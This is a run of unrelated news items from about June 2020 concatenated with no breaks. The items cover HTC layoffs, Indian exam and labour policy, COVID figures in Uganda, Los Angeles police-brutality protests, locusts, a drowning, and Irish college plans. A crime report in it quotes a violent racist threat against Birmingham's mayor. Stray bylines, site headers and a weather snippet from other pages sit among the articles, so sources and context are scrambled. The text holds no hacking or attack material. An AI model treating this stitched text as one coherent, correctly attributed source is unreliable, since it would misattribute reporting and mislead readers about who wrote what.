Twitter: @SethMShaw

Corp. Website: www.tauriga.com

E-Commerce Website: www.taurigum.com Attachment TAUG

[ Back To TMCnet.com's Homepage ]
HTC has confirmed as of June 5 that they will be making another set of staff layoffs as reported by Upload. The company blames the COVID-19 pandemic on these cuts citing reduced revenue and pressure on global economic conditions.

HTC first made staff layoffs in December of 2019 but the worsening economic conditions of this year have forced the company into more cuts. The scale of the layoffs has not been confirmed but the fact that this is the second round of cuts appears problematic.

HTC Company Statement

HTC made an official statement on the cuts earlier and it includes some key statements. The statement says HTC has continued its work to reduce expenditure by optimizing processes, practicing cost control and seeking prudent uses of new technology.

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However, despite these efforts, the statement reads HTC remains under tremendous pressure.

Specifically, on the job losses, the statement says we are strategically reallocating human resources to optimize company structure and reduce operational expenditure. This has required us to make select employee reductions across the world.

Finally, the statement states we want to thank all HTC employees for their contributions. It also points out that the company hopes these cuts will help the company in the long run.

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Covid-19 Continues to Disrupt

HTC is not the only company likely to feel the pressure of COVID-19. Worldwide shipments of Smartphones are expected to drop by 11.9% over 2020 according to the IDC.

China is likely to recover fastest from this downturn. However, the rest of the world, especially Europe, will experience long-term economic hardship as a result.

Some companies are turning to innovative solutions to tackle COVID-19. Fitbit has commissioned a study to try and predict COVID-19 symptoms before they are present. However, despite this many technology companies will find themselves in trouble this year.

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HTC has been hit particularly hard owning to the rock start its VR headset, the HTC Vive Cosmos, has seen. The consumer-focused product appears to be unable to capture a significant portion of the market. However, no official statistics have been released on the product.

HTC did release a new bundle for the device back in March in an attempt to reignite the product. However, as a result of these troubles, HTC has found itself under a significant amount of pressure economically.

Due to this, the company has had to back some tough decisions regarding job cuts. However, do not expect HTC to be the only company to take drastic measures during the next few months as the economic hardships become more apparent.
The Union Public Service Commission (UPSC) announced the revised dates for the civil service examination 2020 on Friday, 5 June on its official website after the commission held a review meeting where the prevailing COVID-19 situation was assessed.

The Union Public Service Commission (UPSC) announced the revised dates for the civil service examination 2020 on Friday, 5 June on its official website after the commission held a review meeting where the prevailing COVID-19 situation was assessed.

Candidates can log on to the official wesbite  upsc.gov.in  to check the revised schedule online.

In a circular, UPSC had said, "With a view to giving some clarity to candidates of various examinations and interviews, which have been deferred over the last two months, the Commission will issue a revised schedule of examinations in its next meeting to be held on 5 June, 2020."

The commission said that the details of the new calendar of examinations will be published on the UPSC website after the Commissions meeting.

A report by The Indian Express said that the examination was earlier scheduled for 31 May but was postponed due to the nationwide lockdown imposed by the government to contain the spread of novel coronavirus.

The UPSC has said that it will provide at least 30 days notice between the announcement of the new schedule and exam dates so that candidates can be fully prepared for the test.

The Civil Services Examination will consist of two successive stages (i) Civil Services (Preliminary) Examination (Objective type) for the selection of candidates for the Main Examination and (ii) Civil Services (Main) Examination (Written and Interview) for the selection of candidates for the various Services and posts.

Every year, as many as 10 lakh candidates register for the UPSC Civil Services (Preliminary) examination.

This year, UPSC has postponed a number of examinations including UPSC Civil Services Exam, UPSC NDA Exam, UPSC CMS exam due to the COVID-19 pandemic. It has also deferred the personality tests for Civil Services Examination 2019.
Athens, GA (30605)

Today

Cloudy. Snow showers developing this afternoon. Temps nearly steady in the mid 30s. Winds NE at 5 to 10 mph. Chance of snow 40%..

Tonight

Snow showers this evening. Breaks in the overcast later. Low 26F. Winds NE at 5 to 10 mph. Chance of snow 40%.
The Mitron app, which was pulled down on June 2 by Google, has made its way back to the Play Store.

In an official clarification issued by Google yesterday , the tech giant said it had established a process of working with developers of the app to help them fix issues and resubmit their apps.

Google added, "Weve given this developer some guidance and once theyve addressed the issue the app can go back up on Play."

As of now, the Mitrons Play Store page says that the app was updated on June 3, 2020, and the Privacy Policy has been updated as well.

It now includes a page on GDPR Data Protection Rights.

The app has also built and updated its promoter website.
She soared to fame on the 2019 series of Love Island.

And Maria Wild made sure she remained in the spotlight as she enjoyed a bike ride in London's Chelsea on Friday.

The former VIP host, 23, looked sensational as she cut a glamorous figure in a skintight white top.

Glamorous: Maria Wild made sure she remained in the spotlight as she enjoyed a bike ride in London's Chelsea on Friday

Maria teamed the item of clothing with a pair of high-waisted beige shorts which showcased her peachy posterior and highlighted her svelte waist.

The reality star finished her look with a thick silver chain necklace, studded sandals and 90s cat-eye brown sunglasses.

Maria styled her brunette locks into a voluminous blow-dried hairdo and added a slick of glamorous make-up.

The Love Island babe appeared in good spirits as she made the most of her daily exercise by hiring a TFL Santander bicycle for the day.

Peachy! The former VIP host, 23, looked sensational as she cut a glamorous figure in a skintight white top

Stepping out: Maria teamed the item of clothing with a pair of high-waisted beige shorts which showcased her peachy posterior and highlighted her svelte waist

It comes after Maria's Love Island co-star and friend Francesca Allen was filmed in an explosive altercation outside an Essex pub.

The Love Island 2019 star, 24, was captured squaring up to another woman outside the King Oak pub in High Beech, Epping Forest on Saturday in shocking footage, with police called to the scene.

Francesca and the other woman, flouted social distancing rules as they got close to each other's faces and shouted at one another.

A witness to the row on Saturday said: 'They appeared to be fighting over some guy.

Details: The reality star finished her look with a thick silver chain necklace, studded sandals and 90s cat-eye brown sunglasses

London fun: Maria styled her brunette locks into a voluminous blow-dried hairdo and added a slick of glamorous make-up

Making the most of it: The Love Island babe appeared in good spirits as she made the most of her daily exercise by hiring a TFL Santander bicycle for the day

'He was on the side and basically telling them to calm down. It didn't seem right, like they were fighting over him.

'Francesca was trying to stay calm but when the girl got involved, that's when she lost it and went for her.'

An Essex Police spokesman said: 'We were called at around 5.10pm on Saturday 30 May, with reports of a disturbance outside the King Oak pub in High Beech.

'We received information that a large group of people had gathered on green space outside the pub and reports of people fighting.

Work it: Maria knew how to work her best angles as she posed up a storm during her bike ride

Fame: The star soared to fame after appearing on the 2019 series of Love Island

'We attended the scene and gave words of advice to people about congregating.

'They were understanding and left the vicinity without issue or the need for enforcement action.'

A spokesperson for Francesca told MailOnline: 'Francesca was approached by two unknown females on Saturday afternoon who began verbally then physically abusing her.

Looking for love: She entered the ITV2 dating series during the Casa Amor challenge

'In self-defence, Francesca defended herself. The attack was witnessed by the police and Francesca was asked if she wanted to pursue the matter, to which she declined.'

A close friend of Francesca's added to MailOnline: 'Fran was really shaken up by the whole experience, it was out of character for her.

'She didn't know the girls and had no idea why they were trying to attack her, in the circumstances she felt she needed to defend herself.'
- Uganda confirmed 35 new cases of COVID-19 in the last 24 hours raising its national tally to 557

- The health department said 2,267 samples were tested on Thursday, June 4, with all the cases involving Ugandan citizens

- PM Rugunda said he was taking precautionary measures recommended by the Ministry of Health

Ugandan Prime Minister Ruhakana Rugunda has gone into self-isolation after his contacts tested positive for the highly contagious novel coronavirus.

This came as the landlocked country confirmed 35 new cases of COVID-19 in the last 24 hours raising its national tally to 557.

READ ALSO: LSK says Uhuru's executive order unconstitutional, vows to challenge it in court

Ugandan Prime Minister Ruhakana Rugunda is in self isolation after he came into contact with COVID-19 positive patients. Photo: Office of the PM.

Source: UGC

READ ALSO: Kenyan rapper Kahush confirms he is Health CS Kagwe's son

In a tweet on Friday, June 5, the PM said he had tested negative for the respiratory disease but was taking precautionary measures recommended by the Ministry of Health.

"Friends, I have gone into self isolation after some of my contacts tested positive for COVID-19. My own test result is negative, however, I have taken this decision as a health recommended measure," his tweet read.

Uganda's health department said 2,267 samples were tested on Thursday, June 4, with all the cases involving Ugandan citizens.

"Fifteen of the new confirmed cases are from 1,412 samples from points of entry while 20 are from 855 samples of contacts and alerts. The total confirmed cases in Uganda now stand at 557,"

"Additionally, 31 foreign truck drivers (18 Kenyans, seven Tanzanians, four Congolese and two Burundians) tested positive for COVID-19 and were handed back to their respective countries of origin," the statement added.

Charles Olara, Uganda's director of general health services, said no COVID-19 related death had been reported in the country while 82 patients had recovered since the first case was confirmed on March 18.

President Yoweri Museveni said despite the country being on its 78th day of lockdown, Uganda was coping with the virus that halted the economy.

Uganda has confirmed 557 cases of COVID-19 since March 18. Photo: CDC.

Source: UGC

READ ALSO: Mwanamke Busia amkashifu wakili kwa kutoweka na KSh 1.6 milioni alizolipwa kama fidia

"It is now 78 days since the lockdown we launched on March 18, in response to the pandemic of the coronavirus. In that lockdown, we stopped all international passenger flights into and out of Uganda, the tourists are no longer coming, foreign investors are not coming, the Ugandans abroad are, may be, sending less money to their relatives because they are also facing problems where they are," he said.

Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly.

The big disappointment on lock-down is loading | Tuko TV

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COMPTON, CA - JUNE 07: The Compton Cowboys ride down S Tamarind Ave, along with a couple thousand protesters, during the Compton, CA, Peace Ride, culminating at City Hall, on Sunday, June 7, 2020. (Jay L. Clendenin / Los Angeles Times) (Jay L. Clendenin/Los Angeles Times)

Amid protests against police brutality sparked by the death of George Floyd, Los Angeles Police Chief Michel Moore's "community solidarity" vigil Friday evening at LAPD headquarters was met by a large crowd demanding reforms to end police violence and racism against black Americans.

Hundreds of peaceful demonstrators marched from the steps of City Hall a block away, waving signs, playing drums and chanting outside the heavily guarded LAPD building.

The protesters chants of no justice, no peace and defund the police rose above the small and subdued gathering of police officers, faith leaders and others who had gathered behind metal barricades and in front of the buildings main entrance.

Were here because we want police reform, Morris Griffin of Inglewood told the crowd at the steps of City Hall before the protest moved over to LAPD headquarters. Were sick and tired of seeing these atrocities happening to black people.

The protesters arrived as Moore, who recently came under fire for comments he made about looters, spoke for about four minutes next to a portrait of Floyd, whose killing in Minneapolis more than a week ago was the impetus for nationwide protests.

In the days after that event, after that murder, after that tragedy, after watching the horrific scene and hearing his pleas, and the lack of compassion and humanity of just simply recognizing another individual, tore at the very heart of what policing stands for, Moore said. Tore at the very essence of our duty to protect, to serve, to treat each individual as just that.

Moore said Floyds death served as a reawakening about state violence, racism and inequality and committed to join the entire world in an effort to find justice for all.

He had invited community members to join him at the vigil, which was organized by police and described as being in support of community solidarity, open minds, open hearts, responsible dialogue, social healing.

Story continues

After the hourlong vigil, Moore spent about 20 minutes speaking to protesters across a metal barricade. He turned back toward headquarters after people in the crowd raised their voices and loudly criticized him and his department for using force against peaceful demonstrators. Some held up cellphone videos of attacks by LAPD officers on protesters in recent days and demanded answers as to why the officers had struck those people with batons and used pepper spray.

Speaking to reporters afterward, Moore said it was important to have conversations with critics but did not address the protesters' demands, instead praising police officers who have been out there for days and weeks doing important and critical work to provide for the safety throughout Los Angeles.

Tonight was about them seeing the whole of community ... stand behind them and believe in them," Moore said. "Not make them saints, not make them perfect. But to help renew that they play a critical role as peacekeepers.

Days after Los Angeles Mayor Eric Garcetti said he supported budget cuts for the LAPD, he introduced the executive director of the city's recently created Department of Civil and Human Rights on Friday during a news conference.

Capri Maddox, an attorney and former president of the Los Angeles Board of Public Works, will lead an office tasked with enforcing the city's civil and human rights ordinance and investigating claims of discrimination and unequal treatment in housing, employment, education and commerce. She was appointed to the post in February.

"We do know one thing: Unfortunately, your skin color speaks before you do in America, and this is something we need to get beyond," Maddox said, pointing out that she has had "the talk" with her teenage son about relations with police because he is black. "This isn't easy work, but there's nothing more important. And I'll appreciate the support of people calling me and telling me they want to serve, and we're here to serve with you."

Describing racism as an "old enemy" and as a virus, Garcetti urged Angelenos to look within themselves for change, not just at others. "We must not find the enemies amongst us; we must find the enemies within us ... We are all silent spreaders."

He also took a moment to criticize episodes of excessive force by police that have been captured on video during protests in recent weeks. However, he defended the positive contributions that individual officers and law enforcement investigations have made, such as breaking up human trafficking rings.

Both Garcetti's and Maddox's comments came at the end of a day when thousands of demonstrators gathered on streets and in front of municipal buildings across Southern California.

Hundreds of people protested on the beach in Venice, marched through the streets of downtown Los Angeles and Northridge, while doctors and nurses who have been on the front lines of the coronavirus outbreak stepped out of their facilities in Culver City and elsewhere to hold up signs of support and observe a moment of silence in honor of Floyd.

Several more demonstrations are planned throughout the weekend.

On Friday, video footage showed some 300 people gathering on the beach under cloudy skies, then walking north toward Santa Monica in what was billed as a "pier to pier" protest.

hundreds of people gathered in Venice beach to protest police brutality. absolutely incredible to see the community coming together in unity for the black lives matter movement. pic.twitter.com/jdP7I8hs00  savannah bly (@savbly) June 5, 2020

By the afternoon, demonstrations were getting underway in downtown Los Angeles and Long Beach.

Madison Garrett, a 21-year-old college student, arrived early for a protest at Santa Monica City Hall, her third demonstration this week. A post circulating on social media said the event was organized by alumni of Santa Monica High School, where she graduated in 2017.

Garrett said the recent protests have shown people doing what they need to do to be heard.

Basically weve been going through this for hundreds of years, systematic oppression, and once it gets to a boiling point of being unheard, silence doesnt work anymore, she said.

She criticized media coverage that she said has focused on rioting and looting. Theyre not showing the police gassing innocent people, she said. Theyre not showing you the singing and dancing on the street.

Garrett said theres been a sense of camaraderie among protesters. Shes offered to give people rides home and has seen people passing out water and snacks.

Its hard to stay socially distanced at a protest, she said, noting that the coronavirus is still definitely at the back of my mind. But shes trying to be safe  she was wearing a surgical mask with I cant breathe" written in black marker  and said protesting is worth breaking quarantine.

I saw someone else say that youre either going to get killed by a police officer or youre going to get killed by COVID, and its your decision to make which one you choose, she said.

In Manhattan Beach, more than 100 people showed up with balloons, cupcakes, flowers and signs to honor Breonna Taylor's birthday.

Taylor, who would have been 27, was shot in March in her Louisville, Ky., apartment by a police officer.

She was just getting started, read one sign. HBD BREONNA TAYLOR RIP, read another.

Jasmine Gates, 24, organized the event at Bruces Beach  a hillside park that was once a haven for black people denied entry to Manhattan Beach  because she "saw that a lot of black women that I know were addressing that Breonna Taylors name wasnt said, along with a lot of other black women."

Gates said Taylors story was so heartbreaking because it could have been anyone in the audience.

Society thinks that were so strong that even when we die, were supposed to have some sort of strength, she said.

Meanwhile, public health officials on Friday touched on the health risks inherent to the mass demonstrations.

L.A. County Public Health Director Barbara Ferrer said risk of exposure exists in any large gathering, whether on the boardwalk in Venice or joining a protest against racism.

The county anticipates an increase in cases in the coming weeks because of the protests and the reopening of businesses and other aspects of public life.

Ferrer said that anyone who has been in a large crowd, in close contact for at least 15 minutes with people not wearing face coverings, should consider self-quarantining for at least two weeks to see if COVID-19 symptoms develop.

She said people should remember that the coronavirus has a long incubation period and that if you do get tested right away after exposure, youre likely to test negative because the viral load could still be low.

Testing negative does not mean you cannot become infected later in the incubation period, Ferrer said, and it is still advised to stay away from others for 14 days.

Dr. Christina Ghaly, director of the L.A. County Department of Health Services, said it was inspiring on many levels to see the protests. She said the county did not issue a mandate to close COVID-19 testing facilities amid the demonstrations but allowed each site to make its own decision whether to close or adjust hours.

As a result, officials saw the volume of testing decline slightly over the last week because of closures and a higher-than-usual no-show rate at sites across the county, she said.

Back in Santa Monica, the city's mayor, Kevin McKeown, and interim City Manager Lane Dilg attempted to address protesters at City Hall, where they were met with questions about tear gas used on protesters in the city Sunday and calls to cut the police budget.

We will look at the actions of Sunday; we will determine what we can do to keep our community safe and facilitate peaceful protest, Dilg said.

You called in the National Guard! one protester shouted. Another asked why the streets were shut down.

Hey, people, do you want to hear the answers? McKeown asked.

A passerby, Chanel Nicole Miller, 19, took on the role of emcee during the exchange. She said she was on her way to work as a line cook when she stopped by the demonstration. She said she stepped forward when she heard officials talking.

When the mayor got up there and started cursing, getting red, yelling, showing his ignorance and pain that he didnt know how to express, I felt like I had to say something, she said.

Miller stood up and described her experience as a resident of the city and the discrimination shes faced as a black woman. She said she felt as if the crowd wanted her to speak up. She criticized officials for failing to answer questions, or acknowledging that the city used excessive force against protesters on Sunday.

Police Chief Cynthia Renaud said the list of names of people who died at the hands of police dont seem to end, but they stop in Santa Monica.

I believe in the peace; I believe in the community I serve, she said. Then she, the mayor and others took a knee in solidarity with the protesters.

The act was viewed with skepticism by some in the crowd.

In Los Angeles, demonstrators marched through downtown streets with what appeared to be a police escort, with motorcycle officers on both sides of the lead marchers slowly rolling along with them as car horns echoed off the buildings.

While Floyd's death has fueled this wave of demonstrations  he died after Minneapolis police officer Derek Chauvin held him down by the neck with his knee for nearly nine minutes, even after he became unresponsive  his is not the only one that protesters can point to as motivation to call for change. Taylor was killed by Louisville police who stormed her home in the middle of the night on a "no-knock" warrant March 13, and it took the public release of video for authorities to arrest and charge the men who shot Ahmaud Arbery earlier this year in south Georgia.

Los Angeles County and city law enforcement also have storied histories of corruption and brutality, which at one point led to federal oversight. Only recently were police misconduct cases in California made available to the public, but examples of questionable practices against blacks and other minorities remain.

Amid the continued unrest, Gov. Gavin Newsom called for statewide guidelines governing law enforcement's use of force to control crowds at protests. Currently, municipalities have varying rules when it comes to deploying methods such as tear gas, he said, resulting in unequal treatment of protesters across the state.

"Its clear to me we need to standardize those approaches," he said.

Newsom said he also planned to sign a law directing the California Commission on Peace Officer Standards and Training to immediately stop training law enforcement to perform carotid holds on suspects.

"That has no place any longer in 21st century practices," he said.

Garcetti called for police to minimize the use of rubber bullets earlier this week as a result of widespread criticism of police tactics and a host of videos locally and across the country showing officers firing them at nonthreatening demonstrators and journalists.

After days of aggressively enforced curfews, Los Angeles lifted them on Thursday.

With curfews lifted, Los Angeles and other Southern California cities saw largely peaceful protests Thursday night as demonstrations continued with few reports of any problems. Demonstrations on Friday popped up in Santa Clarita, Lakewood and in Orange County cities such as Irvine and Fountain Valley.

Police said they needed a curfew earlier this week in various cities and across Los Angeles County to control crowds and crack down on looting that occurred in a few spots, including downtown, Van Nuys, Hollywood, Long Beach, Santa Monica and the Fairfax district. But there have not been any major reports of stealing in several days.

L.A. County Supervisors are set to vote Tuesday on a bill to develop rules for protests, requiring social separation and other actions to protect demonstrators from COVID-19 which has infected more than 60,000 and killed more than 2,500 in the county.

The motion directs the Department of Public Health, in collaboration with the sheriff and all other local law enforcement agencies in the county, to immediately issue guidance on health and safety measures regarding issuing citations, transporting and detaining protesters, using face masks, deciding when to implement physical distancing and when to use tear gas.

Times staff writers Hannah Fry, Priscella Vega, Ben Oreskes and Matthew Ormseth, as well as City News Service, contributed to this report.
The rain caused by Cyclone Nisarga led to damage of crops in various parts of Madhya Pradesh. The wheat and other crops were procured by the state government.

The Opposition has now attacked the government, accusing it of being careless.

The rain came as Madhya Pradesh was already facing the challenge caused by swarms of desert locusts, which remain uncontrolled. However, the downpour brought down temperature in the state considerably low giving a relief to people from rising temperature.

As per meteorological departments Madhya Pradesh unit, as many as 23 districts received moderate to heavy rains in the past two days with Bhopal, Raisen, Betul, Hoshangabad in central region, Rewa and Satna in Vindya region, Chhatarpur, Sagar and Damoh in Bundelkhand region, Gwalior and Guna in Gwalior region, Jabalpur, Narsinghpur, Chhindwara and Mandla in Mahakoshal region and Khandwa, Khargone, Indore, Dhar, Barwani, Shajapur and Burhanpur in Malwa receiving heavy rains.

The meteorological department has further issued warning for heavy rainfall in 27 districts in the next 24 hours. Rains are still continuing in several parts of the state. In Bhopal, the maximum temperature on Thursday was recorded at 22.6 degree Celsius, as many as 17 degree Celsius low than the normal temperature on the day. In Gwalior, the maximum temperature dropped by about 10 degree Celsius and in Indore and Jabalpur by about 12 and 10 degree Celsius, as per meteorological department.

Joint director of agriculture department at Indore RS Sisodia said, Rains, though its not pre-monsoon showers, will help farmers do cultivation. However, for sowing they need good rains during monsoon.

Revenue department principal secretary Manish Rastogi said, There is no report of damage caused to any property due to rains has been reported so far.

However, as per reports from many districts, wheat stored in the open at procurement centres has got wet. About 15,000 quintal of wheat stored in open in Katni got wet in the past two days. The value of the wheat stored is said to be about Rs 2.81 crore. Similarly, in Rajgarh district too wheat was stored in the open at about 90 per cent of the 84 procurement centres. It got wet due to rains.

State Congress president Kamal Nath accused the state government of showing carelessness in undertaking measures in storing wheat in warehouses.

Lakhs of metric tonnes of wheat got damaged resulting in loss of crores of rupees. Warning for Nisarga was given earlier but the government overlooked it. Hence, state government is responsible for the damage, he said.

Farmers welfare and agriculture development minister Kamal Patel said, The rain is untimely. Procurement centres for wheat was increased to about 4,500 so that people dont have to travel long distances. Though it was stored in the open, the wheat was well covered with plastic sheets. The same is being stored in warehouses and we are trying to see that least damage is caused to wheat.

Principal secretary, Food and Civil Supply, Shivshekhar Shukla said, No damage was reported from any district. The procured food grains was properly covered and secured.

Desert locusts is another problem farmers in the state continued to grapple with even after a fortnight of swarms of locusts entered Madhya Pradesh from Rajasthan.

As per officials, damage to vegetation was reported from parts of Vindhya, Beundelkhand and Gwalior-Chambal regions on Thursday.

What took the district administration in Satna by surprise on Thursday was swarms of locusts entering Satna city causing a panic among residents.

Deputy director of agriculture at Satna Bahorilal Kureel said, Movement of locusts to the city was perhaps caused by rains. We faced a problem in controlling the insects as we couldnt have used excessive amount of insecticide in killing the locusts given presence of people. We used four to five fire tenders to drive them away. The district administration was swung into action the moment they entered the city. We are keeping a watch on their further movement.
The Ministry of Agriculture and Rural Development has made plans to deal with the coming locust plague including using military and weather radars to detect the locus.





According to the ministry, locust plague has been in several countries in Africa, the Middle East and South Asia. They ravaged Pakistan and arrived in India in late May. There's a chance that they will cross India to arrive in Bangladesh, Myanmar, Laos, China and Vietnam.



It's important to monitor the travelling path of the locusts and the invasion development. A remote alert will be raised when the locusts arrive in Bangladesh and a more urgent alert will be raised when they arrive in Myanmar, Laos or China.



Vietnam also needs an emergency plan if the locusts arrive in Vietnam without passing through previously mentioned countries.



The ministry suggested using military and weather radars to detect and monitor the locusts and prepare suitable pesticide spraying equipment for desert locusts. If the locust swarm is too widespread, a steering committee may be set up to mobilise the air force and chemical army branch to spray pesticide in places that are far from residential areas.



According to Food and Agriculture Organisation of the United Nations, millions of locusts were found to have covered 2,400 square metres of land in East African countries. They travelled at a speed of 13 km per hour and quickly destroyed the crops and threatened aviation safety. Up to 60 countries may be affected and one-fifth of the crops in the world will be damaged.



As of May 27, the locusts were still breeding and branching out.



Vietnam Ministry of Agriculture and Rural Development said a locust swarm could easily cover several kilometres and often travels with the winds. From afar, a large locust swarm looks like a black cloud moving at the height of 1,500 to 2,000 metres. Dtinews

VN agriculture ministry gears up for possible attack of desert locusts The Ministry of Agriculture and Rural Development (MARD) is prompting preparations for the possibility of an invasion by desert locusts in the time ahead.
The Jharkhand government has decided that a labourer going outside the state for work will have to provide personal and job details to the administration so that it could reach out to the person in any eventuality, Chief Minister Hemant Soren said on Thursday.

The move comes after the government underwent a tedious process of registering stranded migrant workers to facilitate their return to Jharkhand from far-off places such as Ladakh and Andaman and Nicobar Islands.

Labourers generally go outside with the help of their acquaintances and the state government did not have any idea about their whereabouts. So, we have decided that if a labourer goes to other states to work, they should have the consent of the state government so that arrangements can be made for their safety when required, Soren said.

More than seven lakh people of Jharkhand work in states like Gujarat, Maharashtra, Delhi, West Bengal, Odisha, Chhattisgarh, Tamil Nadu and Nagaland.

Of these, nearly five lakh have returned by Shramik Special trains, buses and flights, official sources said.

The migrant labourers include women and there were reports that crimes were committed against them. The state government would like to make efforts for their safety as well. We can make safer arrangements for them, the chief minister told reporters.

There are some far-off places in the country where it is not possible for common people to reach but workers go to such areas, he said.

Restrictions and strict laws exist to work in border areas. When labourers go to such places, the state government should have their details so that assistance could reach them in any eventuality, Soren said.

On whether all stranded migrants have reached Jharkhand, the chief minister said many were yet to come.
A Warrior man has been charged with making threats against Birmingham Mayor Randall Woodfin.

Brian Stephen Vest, 49, was booked into the Jefferson County Jail shortly before 7 p.m. Wednesday. He is charged with making a terrorist threat. Vest was taken into custody at his Warrior home by the Birmingham Police Departments Crime Reduction Team.

On Friday, Vest went before Jefferson County Judge Shanta Craig Owens in a virtual hearing. The text of the 911 call was read aloud and Owens raised his bond to $100,000. Should he make bond, the judge said he will be confined to house arrest.

Authorities believe Vest is the man who called in a threat Wednesday to 911, a call that began with these words: Hey man if you take down that statue in Linn Park Im going to come down there with my AK-47 and start blowing the damn pigs away, and the protesters, everybody. Im going to assassinate n***** Randall Woodfin.

He continued, You think Im playing? Youll find out, youll be all over the news, punk ass. You hear me? Im coming down there right now with my automatic weapon and Ill blow your f****** heads off, assholes. You hear me?

F*** off asshole, Ill hang you from a tree, n*****, when the 911 operator asks what car he will be driving.

That Mayor Randall Woodfin will be dead before light, before morning. Im going to start blowing peoples f****** heads off down there.

I got a bomb set right by that statue, its about to go off, you hear me? You hear me punk ass?

You better lay off that statue right now. You better back the f*** up, you hear me? Say something coward. Im going to blow that damn n***** mayors head off, you hear me?

Its none of your f****** business what my name is, asshole, when the operator asks his name. Go f*** yourself moron people going to die tonight.

Im going down with my AK-47.. Im on the way right now, punk.

You can all kiss my ass and go to hell. Go f*** yourself, asshole.

Woodfin on Wednesday - even before the threat for which Vest is charged - told NBCs Today Show he has received death threats after he had the Confederate Soldiers & Sailors Monument removed from the citys Linn Park. In the interview, Al Roker asked Woodfin to elaborate on some rumors he had received death threats.

Unfortunately, in the state of Alabama, theres a lot of people who like to participate in revisionist history. They, believe its American to support the Civil War, and relate to these Confederate monuments. But theyre mad because we took the statue down and yes, there have been several threats. But our security team is not only taking it serious as it relates to me and my protection but City Hall as well as the citizens of Birmingham protection as well, Woodfin said.

Following the threatening call to 911  which lasted one minute and 40 seconds  City Hall was put on lockdown and Birmingham police showed up en masse. The lockdown was in effect by about 5:15 p.m. and Vest was in custody within less than two hours.

Court records do not list any previous criminal arrests for Vest.

AL.com journalist Roy Johnson contributed to this report.
A 23-year- old man from Fancy died in Canouan on Sunday, May 31, in what is believed to be a drowning incident.





Leonard John, said to be from Dry River, Fancy, moved to Canouan last year, to be with his fiancee. She had decided to return to her native Canouan after residing in Fancy for some time.





THE VINCENTIAN was informed that last Sunday, John and a male relative went fishing sometime in the morning, in the vicinity of the casino.





The water in that area, according to a Canouan native, is usually rough.





There are at least two differing reports as to how John actually met his death.





According to one account, sometime after the men went fishing, the male relative returned saying that a wave had knocked John off the rock into the sea, and that he had not resurfaced.





But according to another account from a family member who did not want to be identified, Johns nylon (fishing line) got stuck.





"They were on the rock and something heavy was pulling on the nylon. He (John) tried to release the nylon and he slip and hit his head before drowning, said the family member who said the account was a repeat of what was said by others.





A detachment of officers from The SVG Coast Guard, with assistance from residents of the island, retrieved Johns body later that day.





"When you look at his body after what happen, you could see his burst chin, said the relative

John was described as quiet and easy-going person who loved fishing. He attended the Sandy Bay Secondary.





"One time me dey home and he went to fishing and he came back home because he had a vision that a man told him that God is coming for the world, and he stop going for a while, but then he started back, shared the relative.




This summer has seen a Leaving Cert like no other and, in a few months from now, thousands of students will begin their first year in college in a year which will be like no other.

With just weeks left to finalise the CAO list, students and their families have a slightly different range of issues to consider compared to previous generations due to the response to Covid-19.

Social distancing means that, at the University of Limerick, for example, it is estimated that just 20% of staff and students will be on campus at any one time for the first term.

Colleges around the country are working hard to prepare for Septembers intake, and are developing a blended learning program where lectures are online while other elements of the course are on campus.

DCU describes its new scheduling approach as innovative and has committed to maintaining the number of student places available.

While most colleges have a start date, according to Union of Students in Ireland (USI) president, Lorna Fitzpatrick, its not clear what that start is going to be. She says that the lack of clear communication from some colleges is creating a vacuum that is being filled with worry or false information.

We really need clear communication. There is an information vacuum from some institutions and that can do damage because people turn to social media. There should be clear statements of what their plans are, or at least let students know that their college is working on their issue, she said.

To help students looking for more information on courses and on what the autumn semester will look like, colleges are still holding virtual open days and online Q&A sessions (listed on www.qualifax.ie) where students can find out the most up to date information.

In a lot of ways, it will be business as usual in colleges except lectures will be online. Provision will be made, however, for courses where lab work needs to be carried out, for example, and the details of how this will happen is currently being discussed by the various institutions.

Priority will be given to modules where learning outcomes cannot be achieved through virtual delivery or where face-to-face delivery is a professional accreditation requirement, said a spokesman for the University of Limerick, who added that while the college is trying to open up, it also has to be ready to close the campus at a moments notice should another lockdown be put in place while still providing educational content for students.

Accommodation

Accommodation is one of the biggest issues. How will they work it out? Will it be needed one day a week or one week per month? asks Lorna Fitzpatrick. With a lot less requirement for students to be on-campus, will everyone even need to have accommodation close to their college or can they simply study remotely until things return to normal.

DCU already has a policy in place regarding campus accommodation. In an online address, President of DCU, Professor Brian McCraith, says that the colleges approach to campus accommodation will be flexible.

A student who is offered a room pays a fully refundable deposit. The rooms are to be allocated after the timetables are issued. If a students timetable means that they only need the room for a day, a week or for one semester etc, then they will be charged accordingly. Also, if a students timetable means that they no longer require accommodation, the deposit will be fully refunded.

While DCU is offering a fair deal, there are other cases where students are being offered a great deal for accommodation if they sign the contract on the spot. However, USI and the housing charity Threshold are warning students not to sign contracts so soon as they could end up being forced, under contract, into paying rent unnecessarily as lectures go online and the student may not even need that accommodation.

Broadband

While students will be spending less time on campus next term, some may still decide to move from home just to get a better internet connection, according to Lorna Fitzpatrick.

In parts of rural Ireland its not possible to engage in long term learning. Even if people invest in broadband they still might not get a good enough connection, she explains.

As a result USI are calling on the government to consider the possibility of allowing students to use HEAnet in public buildings in their locality, which would provide a more enhanced internet connection.

HEAnet provides internet connectivity to education and research organisations throughout the country, including all primary and post primary schools.

Due to Covid-19, students are facing new questions this year around issues like accommodation, broadband and work experience.

Devices

You need a decent device to dial into lectures and do assignments. We are concerned that disadvantaged students will become even more so if they cant afford wifi or devices, says Lorna Fitzpatrick, adding that universities are under financial pressure so they cant provide these much-needed devices.

Work experience

Many college courses include an element of work experience. As a result of Covid-19 many of these placements ended, but colleges are already trying to negotiate a safe way to restart them with employers. Some strategies include moving out start dates and organising remote working. However, unfortunately, for the moment some employers have pulled out of programs altogether.

One group that has been particularly affected is trainee primary school teachers who have required classroom teaching hours to complete in order to qualify. From September they will have reduced blocks of work experience in schools. It is worthwhile for any students looking at this type of course to find out what measures are in place to deal with the disruption to work placement and how it will affect qualification or accreditation.

Study abroad

Due to travel restrictions, some colleges have already decided to cancel study abroad under the ERASMUS and Non-EU Exchange programs for the autumn semester.

Finance

Many students are minus a summer job due to the knock on effects of Covid-19 on the retail and hospitality industries. This means no savings for fees and costs associated with going to college. Their family circumstances may also have changed so Lorna Fitzpatrick recommends for students to apply for the SUSI grant straight away.

She says that the grant is based on last years income, but there is the possibility to include any changes in circumstances. This process takes longer than a normal application, so the sooner it is submitted the better.
Sumi Sukanya Dutta By

Express News Service

